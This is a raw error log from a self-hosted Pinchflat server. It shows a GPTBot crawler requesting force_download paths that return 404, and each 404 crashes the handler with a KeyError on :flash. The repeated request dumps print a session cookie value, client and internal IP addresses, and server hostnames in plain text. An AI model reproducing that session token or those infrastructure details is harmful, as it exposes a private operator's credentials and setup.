"cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/40", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/40/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4685.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/40/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 53962}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox (truncated) 20:52:00.481 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:52:15.646 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:31.119 [info] GET /sources/1/media/35/force_download 20:52:31.120 [debug] QUERY OK source="settings" db=0.7ms idle=1504.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:31.120 [debug] QUERY OK source="settings" db=0.1ms idle=1505.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:52:31.120 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:52:31.121 [error] #PID<0.4690.0> running PinchflatWeb.Endpoint (connection #PID<0.4689.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/35/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/35/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/35/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41958}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/35", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4690.0>, params: %{}, path_info: ["sources", "1", "media", "35", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/35"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/35/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8Nb5Yrg7MNTzAAAFOx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/35/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41958}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/35", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/35/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/35/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 41958}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox (truncated) 20:52:45.647 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.482 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:53:15.649 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:33.232 [info] GET /sources/1/media/37/force_download 20:53:33.233 [debug] QUERY OK source="settings" db=0.6ms idle=1617.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:33.234 [debug] QUERY OK source="settings" db=0.3ms idle=1618.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:53:33.234 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:53:33.234 [error] #PID<0.4697.0> running PinchflatWeb.Endpoint (connection #PID<0.4696.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/37/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/37/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/37/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39960}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/37", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4697.0>, params: %{}, path_info: ["sources", "1", "media", "37", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/37"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/37/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8Nfgxsh_ifUWEAAFPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/37/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39960}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/37", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/37/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4696.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/37/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 39960}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox (truncated) 20:53:45.652 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.483 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:54:15.654 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:33.355 [info] GET /sources/1/media/39/force_download 20:54:33.356 [debug] QUERY OK source="settings" db=0.5ms idle=1739.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:33.357 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=1740.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:33.357 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:54:33.358 [error] #PID<0.4703.0> running PinchflatWeb.Endpoint (connection #PID<0.4702.0>, stream id 1) terminated Server: pinchflat.oddbox.tech:80 (http) Request: GET /sources/1/media/39/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/39/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/39/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 47240}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/39", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID<0.4703.0>, params: %{}, path_info: ["sources", "1", "media", "39", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.oddbox.tech", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "Upgrade"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.oddbox.tech"}, {"referer", "https://pinchflat.oddbox.tech/sources/1/media/39"}, {"upgrade", "websocket"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.179"}, {"x-forwarded-host", "pinchflat.oddbox.tech"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "srv1511474"}, {"x-openai-host-hash", "835649437"}, {"x-real-ip", "74.7.227.179"} ], request_path: "/sources/1/media/39/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJ8NjAwEuLVeMdkAAFQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/39/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 47240}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/39", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/39/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/39/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 47240}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYNFgzZzhjb2NMUVlBVGtlaG9JdmJzVmU3.B_arnNdcKQEyNAt7uPHKOP9O4jC7CFuxv6vY98IvqYI", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox (truncated) 20:54:45.657 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.485 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:15.659 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:36.170 [info] GET /sources/1/media/34/force_download 20:55:36.171 [debug] QUERY OK source="settings" db=0.2ms idle=554.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:36.171 [debug] QUERY OK source="settings" db=0.1ms idle=555.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:36.172 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:55:36.172 [error] 